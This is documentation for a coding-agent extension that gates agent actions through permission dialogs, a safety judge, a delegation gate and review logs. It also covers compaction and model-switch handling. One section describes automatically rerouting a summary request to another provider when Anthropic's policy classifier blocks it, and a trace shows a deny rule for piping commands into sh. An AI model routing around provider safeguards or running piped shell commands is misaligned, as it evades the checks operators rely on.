In the terminal none of this applies: the pane, the permission system’s own dialog with its allow-always memory, no timeouts — a human is at the keyboard. A host with no dialogs at all (hasUI false: pi -p, json) is not asked: ask and plan approval keep their refusals, and a deferred permission ask is denied as unattended with the host named — never booked as a human’s “no” from a host that has no human. Both waits are tunables (tuning); 0 means do not ask at all - deny or refuse without the dialog. What a headless session cannot do: offer “allow always” — the extension returns one-shot decisions — or reach another extension’s dialog (pi gives no hook for that; the extension’s own dialogs reach a paired phone through the ask broker below). The trace’s sources for these endings are host, unattended and, for a phone, remote.

A paired device: the ask broker

The pivot client (see Working remotely) lets a developer hand the session they are in to their phone with /remote-control. pi has no hook for one extension to observe or answer another’s dialog, and every ask a phone must answer originates here — the gate defer, plan approval, the ask tool, the memory picker — so this package carries an ask broker (#140): one ask is put to the local dialog and every registered remote answerer at once — and to every answerer that registers while the ask is open (#157). The first answer wins and the losers are cancelled through pi’s own signal option. With nobody registered the local dialog still gets a live signal, and that is the only difference from a session without a phone: the ask stays joinable, because the headless plan approval that waits ten minutes waits for exactly this — someone picking up a phone. The phone that connects mid-ask is offered the ask it arrived for, with the same id, and may win it; a phone registering after the ask settled is offered nothing. One ask is outside this: a terminal gate defer opened with no phone attached is the permission system’s own dialog (the row below), decided at the defer, and a phone attaching during it is offered nothing — the next defer is the broker’s.

Two rules decide everything else:

  • The winner decides; the loser’s value is never read. pi resolves a cancelled selector to nothing and a cancelled confirm to no — values indistinguishable from a dismissal or a refusal — so an outcome is classified by who settled, never by what the cancelled side returned. A remote answer counts only if it validates: a boolean for a confirm, one of the offered options for a select, text for an input. Anything else — a malformed answer, an unknown option, a throw, a dropped link, a phone that unregisters mid-ask — is a decline, and the desk dialog keeps waiting.

  • A phone adds an answerer, not a deadline. The wait comes from the host kind, never from the phone being there:

Host Wait Who may answer

Terminal, no phone

none

the keyboard (the permission system’s own dialog for a gate defer)

Terminal, phone attached

none

the keyboard or the phone; the gate defer becomes pi-modes' confirm

Headless, no phone

gateTimeoutMs / dialogTimeoutMs

the host; silence denies or refuses

Headless, phone attached

gateTimeoutMs / dialogTimeoutMs

the host or the phone; silence still denies or refuses

What the desk sees while a phone is attached: a gate defer is pi-modes' confirm (yes / no, one shot) instead of the permission system’s richer prompt with its allow-always memory — one dialog on both surfaces is the point. Plan approval keeps its pane; a phone’s approval closes it. A phone’s answer is attributed to the human on the paired device: the trace source is remote, the deny bracket says so, the review log’s gadhs_host_ask.verdict line carries by: remote, and an approval from the phone is announced and traced via: remote. Asks the broker does not carry — the permission system’s own prompts on the excluded surfaces, third-party extensions, pi’s built-ins — are answerable only at the desk; the pivot client shows them as a nudge, not a sheet. The registry is process-global (globalThis[Symbol.for("gadhs.pi-modes.ask-broker")], versioned) because two extensions in one process are not guaranteed one module instance; the contract a remote implements is exported at @gadhs/pi-modes/ask-broker. pivot’s rule keeps the table honest: pi-remote registers only while its link to a device is live and unregisters on loss.

How subagents return structured results: yield

A subagent finishes by calling yield with a result matching the contract in its profile. If the payload does not match, the tool returns every problem at once rather than one per attempt, and the child retries in the same turn (up to three times) before the harness accepts prose. Every accepted payload (there is no size threshold) is written to a sidecar beside the child’s session record and collected by the parent, foreground or background alike, then placed in the result the parent reads — appended to the subagent tool’s result, or to the get_subagent_result report — as "returned a checked result" (#161), and traced for the human. That matters because yield ends the child’s turn: the prose the tool returns is whatever the child said before yielding, and the checked data is nowhere in it; before #161 the payload arrived as a separate gadhs-contract message and the fetched report itself showed a header and nothing, which read as an agent that had returned nothing. (The message path remains for a result the tool_result pass did not see.) A child whose session has no file is told its result was accepted but not delivered, and keeps its turn to restate it in prose.

How the parent finds the sidecar decides whether five children of one agent type get their own results. A fetched background report names the child’s transcript ("Full transcript available at: …"), and the sidecar beside that file is the child’s and no other’s — the exact join; a child that did not yield yields nothing, never a sibling’s. A result that names no transcript — the foreground result, or a report from a pi-subagents that does not print the path — falls back to the join that was the only one before #161: (agent name, written after this spawn started), newest first; foreground spawns do not overlap, so it holds there. A five-agent hunt on the old join delivered one child’s payload for another’s fetch and lost a third.

While a backgrounded child runs, its trace line says so — "is running in the background — id …" (#160); "finished" comes with its fetched report, not with the launch acknowledgment, which used to read "finished — 0.0s".

yield confers no capability — it is a child’s exit door, not a power — so parents are never granted it.

The retry ladder is a safety net, not the plan: each packaged agent’s body shows the exact data object its schema declares, field names included, because the first battery run (#82) found every model’s first yield rejected when the body said only "put your complete result in data`" - one sent prose, one named the array after the body’s own heading (`evidence for citations). A test in @gadhs/pi-agents fails if a body ever stops naming a schema field. Measured after the change: retries per successful yield fell from 1.5 to 0.17 on Haiku, 1.0 to 0.25 on Sonnet, 2.0 to 0 on Gemini 3.7.

The delegation gate

canSpawn lists which helper agents a mode may launch (plan mode, for example, may launch read-only explorers but nothing that writes). The gate is deterministic: the agent must be on the mode’s list, must have a declared tool profile, and that profile must not include tools the mode itself lacks — and an unrecognisable spawn request is refused outright. (Set subagentPolicy.enforce: false to turn the gate off entirely.) Anything a helper then tries to do is checked by your session’s rules, in your current mode — a helper never gets looser permissions than you have.

Each helper runs on its own model, independent of the session’s: Explore and Verify on Gemini 3.8 Flash, Research on Sonnet 4.6, as shipped in @gadhs/pi-agents and argued on the Model battery: every shipped model, per role, as permutations page; tuning shows the per-user override. A helper’s model is a routing choice, not a permission one — the gate above applies whatever it runs on.

What a helper cost. pi’s footer prices the main session only; a helper is its own session and its spend appeared nowhere in dollars. Now each finished helper’s trace line carries it — Explore finished — 31.8s · 30,683 tok · $0.0137 (gemini-3.8-flash) — and the status line keeps a running total, helpers $0.419 (3), beside pi’s own figure. Since 0.37 the spend is in pi’s figure too: the subagent tool result (or the get_subagent_result that fetched a background report) carries the helper’s usage field by field, which pi persists on the result and counts in its footer, /session and RPC totals — so it survives a restart, and the status line’s breakdown is rebuilt from the result’s details.gadhsHelper when a session is resumed (#124). The figure is exact when it has no tilde: this extension runs inside every helper session too and ledgers the usage pi-ai priced on each of the helper’s messages, cache reads included; when a spawn ends, the parent claims the child session that started after the launch and has itself ended — a still-running helper cannot be claimed, so a fast one finishing takes only its own entry. Attribution is by start time, so two helpers launched in the same second could still swap figures between them; the total is the sum either way. A ~$ figure is a floor - pi-subagents' own token record priced at the catalog rate, which omits cache reads - used only when the ledger has no entry to claim; the status total carries the tilde once any such figure is in it. A helper that could not be matched is traced without a figure, never with a guess.

What the safety gate cost. Every ask that reaches the judge is a model call pi’s footer did not include either. Each call’s usage and price go to the permission system’s review log as a gadhs_mode_judge.call event, and the status line keeps judge $0.012 (7) - the spend and the number of calls, with the last long pause beside them (judge $0.012 (7, last 12.4s)) in place of the separate "last safety check" note. Since 0.37 a call’s usage also rides on the tool result of the call it gated, stamped details.gadhsJudge, so it is in pi’s total and the breakdown survives a restart; in parallel-tool mode two gated calls can swap per-call figures, the total is exact either way (#124). A call the provider did not price counts but adds nothing.

Subagents may also declare an output_schema (JSON Schema) in their .pi/agents/<name>.md frontmatter; the result is validated on completion and a violation is stated to the parent as fact ("treat its conclusion as unverified"), naming the file the contract came from. One validator serves runtime and tests.

Precedence between a global definition (~/.pi/agent/agents/<name>.md, where @gadhs/pi-agents seeds the agency’s) and a trusted project’s (<repo>/.pi/agents/<name>.md) follows what each line is (#134). pi-subagents runs the project file whole, and a project file that names no model: runs on the parent’s model — so the project file’s model replaces the global’s, present or absent, and pricing follows what ran. The contract is agency policy: a project file replaces it only by declaring its own output_schema; omission leaves the global contract in force, and a violation then says so — "the definition that ran declares no contract of its own; declare output_schema there to replace it" — so the project’s author can see the source of a contract their file never mentions.

Guidance injection

The system prompt is composed per turn, most specific last:

BASE
<gadhs-guidance scope="global">        packaged digest (or guidance.global override)
<gadhs-guidance scope="language:X">    per detected language (Cargo.toml → rust, …)
<gadhs-mode id="…">                    the active mode's systemPrompt
<gadhs-guidance scope="project">       <cwd>/.pi/gadhs-guidance.md (trusted repos only)

Nothing is written to disk, so nothing drifts — pi extension update is the sync. /gadhs-init scaffolds a project-owned AGENTS.md skeleton (refuses to overwrite). With no blocks configured the system prompt is returned byte-identical (the no-op contract, pinned by tests).

Compaction: pi’s summarizer, thinking off

pi summarizes a session on the session’s own model, at the session’s own thinking level, inside a budget of 0.8 x compaction.reserveTokens (13 107 tokens by default). On a reasoning model at a high effort the thinking spends that budget before the summary is finished; pi sees a length stop and - correctly - refuses to persist a partial summary, so compaction fails with "generation hit the token cap and the summary is incomplete." Observed live on claude-fable-5-1 at high; lowering the level fixed it. The variable was thinking, not the model.

pi-modes therefore handles session_before_compact by running pi’s own compact() - its prompt, its update-summary flow, its split-turn handling, its fail-closed rule on length - with two inputs changed: the thinking level is off, and the reserve pi sizes the summary budget from is floored at 65 536 tokens (a 52k summary budget; a larger operator setting is kept, and pi still caps at the model’s own maxTokens). The floor came from the second way the cap bites: a days-long session’s update summary - the previous summary re-emitted with everything since - did not fit 13 107 tokens with thinking off or on, and both attempts failed. The model stays the session’s: the summary is the session’s memory and it is written by the model that made it. The stream goes through the composed provider (extension, built-in, or api) with auth resolved the way pi resolves it, so the request differs from pi’s own only in the missing reasoning and the larger output budget.

When the hook hands back undefined, pi’s default runs: the model has no thinking to turn off (then the two paths are identical), the provider or its auth is missing (pi reports that itself), or our attempt failed - one warning names the reason, and pi’s own attempt surfaces its own error rather than ours masking it. A cancelled compaction is silent.

When the provider refuses the request

One failure is not a failure to answer but a refusal to be asked. A provider’s policy classifier can block the summarization request itself: Anthropic’s read a long session - every cold review, every judge verdict, quoted verbatim in tool results - as "duplicating model outputs" and answered "This request was blocked as it seems to violate Anthropic’s Terms of Service restrictions on reverse engineering or duplicating model outputs." That is deterministic on the content: the same call on the same provider fails the same way every time, and pi’s default compaction is the same call. Observed live (#151): our attempt and pi’s failed as a pair on every turn, four warnings deep, and the way out was /model to Gemini, /compact, /model back - by hand.

So a refusal (isPolicyRefusal: the vocabulary - "terms of service", "usage policy", "request was blocked", "violate" - not the sentence) is the one case where the hook does not hand back to pi. It writes the summary once more on the fallback summarizer, compaction.fallbackModel in the modes overlay, default vertex-gemini/gemini-3.8-flash: another provider family, a window every session fits, cheap. The same preparation, thinking off, the same auth path through the registry. The one warning names both: which provider refused, and which model wrote the summary. With the fallback set to null, unknown to the registry, or the session’s own model (no loop), the warning names the way out by hand; with the fallback failing too, it carries both reasons and pi’s default runs next. A transport error or a length stop is not a refusal and takes the old path: pi’s default, on the session’s model.

Pins: test/compaction.test.ts (same preparation, same auth path, the session’s model, off, each hand-back, and the refusal: recognised by vocabulary, retried once on the fallback with off and the floored reserve, one notice, and each way the fallback can be missing or fail), test/config.test.ts ("the compaction block"), test/wiring-lifecycle.test.ts ("compaction hook wiring"). Verified live 2026-09-01: the requests pi sent carried no reasoning, the responses were text-only stop, and pi recorded the compaction as fromExtension.

Switching to a model the context does not fit

pi’s answer to a context that no longer fits is a compact-and-retry on the current model. Switch a long session from a 1M-window model to a 262k one and that answer is the problem: the turn is a 400, the recovery’s summary request carries the same context and is a 400, /compact is the same call, and the session is stuck on that model. Nothing in pi warns at the switch - model_select is notification-only, and pi does not compare the context to the new window. (Two further gaps made it worse on the agency’s own providers and are fixed in @gadhs/pi-vertex: messages stamped with the wire’s model name rather than the session’s id, which made pi skip the recovery as "a different model’s error", and catalog windows larger than what Vertex accepts - see Models on Vertex AI (@gadhs/pi-vertex).)

pi-modes hears the switch the moment after it happened. When the context does not fit - the line is pi’s own compaction threshold, tokens > contextWindow - 16 384 (pi’s default reserve), because above it pi compacts on arrival and that compaction is the deadlock - it says so by name:

Context is ~812k tokens; vertex-maas/qwen3-coder-480b accepts 262k. Switching
from vertex-anthropic/claude-fable-5-1 here will fail: the next turn is a 400,
and pi's recovery compacts on vertex-maas/qwen3-coder-480b itself, which cannot
fit either. /new starts fresh; switching back and running /compact there also
works.

Two ways out, and it names both. /new is the clear command - pi’s own, a fresh context - and stays yours to type (a fresh session needs a command context pi does not give an event handler). Compact first it can do for you: after a /model switch from a model the context fits, a dialog offers "Compact on <previous> first, then switch to <next>`" or "Keep `<next>`"; the first switches back, runs `/compact there (where the summary can be written), and switches again when it completes. A compaction that fails leaves you on the previous model and says why; a switch back that fails leaves you where you are. Model cycling (Ctrl+P) and session restore only warn - a dialog on every cycle step is worse than the 400 - and a context pi cannot yet estimate (right after a compaction) is not judged.

Pins: test/context-fit.test.ts (the fit line, the dialog’s presence per source and previous model, each route’s calls and its failure handling). Observed live 2026-09-07 over pi’s RPC: 121k tokens on Haiku, set_model to vertex-maas/gpt-oss-120b (131k): the warning, the dialog, the switch back, compaction_end without error, the switch forward, and the next turn answered on gpt-oss at 43k input.

Observability

  • Status line: Auto · judge 90r · 12✓ 1✗ — mode, enforcement, verdict mix, denial-loop proximity, running subagents. Segments vanish when zero; the model is deliberately absent (pi’s footer already shows it truthfully).

  • Inline traces: every non-allow decision renders in the transcript — policy BLOCKED bash — * | sh (red, will not reconsider) vs judge BLOCKED read (6.2s) — … (amber, an opinion). Expanded view states the remedy. Allows are not traced (~90 % of verdicts; they would bury the rest).

  • node tools/task.mjs verdicts [n] [--why]: the audit trail with the ask and the judge’s reason under each non-allow line.

  • GADHS_PI_MODES_DEBUG=/path.jsonl: lifecycle diagnostics (mode/model application, session restore, guard events, normalized asks). pi itself has no logging facility.

Review-log events

Everything lands in the permission review log, stamped with mode and session identity (pid, started, cwd):

Event Meaning

gadhs_mode_rule.verdict

A deterministic rule fired (pattern, action, ask)

gadhs_workspace_write.allow

Workspace-write stage allowed a path

gadhs_workspace_read.allow

Workspace-read stage allowed an in-tree read/grep/find/ls (tool, path)

gadhs_high_consequence.defer

Operator-configured pattern deferred to human

gadhs_mode_judge.verdict

Judge verdict (raw, final, ask, reason)

gadhs_mode_judge.safety_valve

Valve capped an allow / deferred under yolo

gadhs_mode_judge.defer

Fail-safe defer (cause: timeout, unparseable…)

gadhs_mode_judge.threshold

Denial-loop guard tripped

gadhs_subagent_gate.verdict / .deny

Delegation gate decision

First-run bootstrap

On first load the extension seeds a minimal permission-system config (only when absent — never overwriting, even an invalid one):

{
  "permissionReviewLog": true,
  "authorizerChain": ["gadhs-mode-judge"],
  "permission": {
    "*": "ask",
    "path": { "*": "allow" },
    "external_directory": { "*": "allow" }
  }
}

This file is deliberately tiny: it just routes every permission question to the mode system, which is where all the real policy lives (and updates with the package): agency rules ship in modes.json and are enforced by the extension’s authorizer, precisely so that policy reaches every developer on update — anything written to disk is seeded once and never migrates. The seeded file must also stay strictly schema-valid: a // comment key silently clamps the entire permission config, chain included. If you have edited yours and want to know how it differs from the current default, node tools/task.mjs policy-diff will tell you, and --write will repair it (it only ever tightens, and asks first).

Edit this page · latest